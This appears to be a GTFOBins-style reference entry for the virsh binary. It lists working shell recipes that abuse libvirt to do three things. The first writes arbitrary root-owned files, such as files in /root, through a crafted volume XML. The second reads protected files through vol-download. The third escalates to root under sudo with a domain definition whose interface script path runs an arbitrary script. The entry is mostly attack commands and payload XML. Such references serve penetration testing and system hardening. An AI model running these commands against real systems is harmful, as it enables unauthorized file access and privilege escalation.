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• File write
• File read
• Sudo

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

• This requires the user to be in the libvirt group to perform privileged file write. If the target directory doesn’t exist, pool-create-as must be run with the --build option. The destination file ownership and permissions can be set in the XML.

  LFILE_DIR=/root
  LFILE_NAME=file_to_write
  
  echo 'data' > data_to_write
  
  TF=$(mktemp)
  cat > $TF <<EOF
  <volume type='file'>
    <name>y</name>
    <key>$LFILE_DIR/$LFILE_NAME</key>
    <source>
    </source>
    <capacity unit='bytes'>5</capacity>
    <allocation unit='bytes'>4096</allocation>
    <physical unit='bytes'>5</physical>
    <target>
      <path>$LFILE_DIR/$LFILE_NAME</path>
      <format type='raw'/>
      <permissions>
        <mode>0600</mode>
        <owner>0</owner>
        <group>0</group>
      </permissions>
    </target>
  </volume>
  EOF
  
  virsh -c qemu:///system pool-create-as x dir --target $LFILE_DIR
  virsh -c qemu:///system vol-create --pool x --file $TF
  virsh -c qemu:///system vol-upload --pool x $LFILE_DIR/$LFILE_NAME data_to_write
  virsh -c qemu:///system pool-destroy x

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

• This requires the user to be in the libvirt group to perform privileged file read.

  LFILE_DIR=/root
  LFILE_NAME=file_to_read
  
  SPATH=file_to_save
  
  virsh -c qemu:///system pool-create-as x dir --target $LFILE_DIR
  virsh -c qemu:///system vol-download --pool x $LFILE_NAME $SPATH
  virsh -c qemu:///system pool-destroy x

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

• SCRIPT=script_to_run
  TF=$(mktemp)
  cat > $TF << EOF
  <domain type='kvm'>
    <name>x</name>
    <os>
      <type arch='x86_64'>hvm</type>
    </os>
    <memory unit='KiB'>1</memory>
    <devices>
      <interface type='ethernet'>
        <script path='$SCRIPT'/>
      </interface>
    </devices>
  </domain>
  EOF
  sudo virsh -c qemu:///system create $TF
  virsh -c qemu:///system destroy x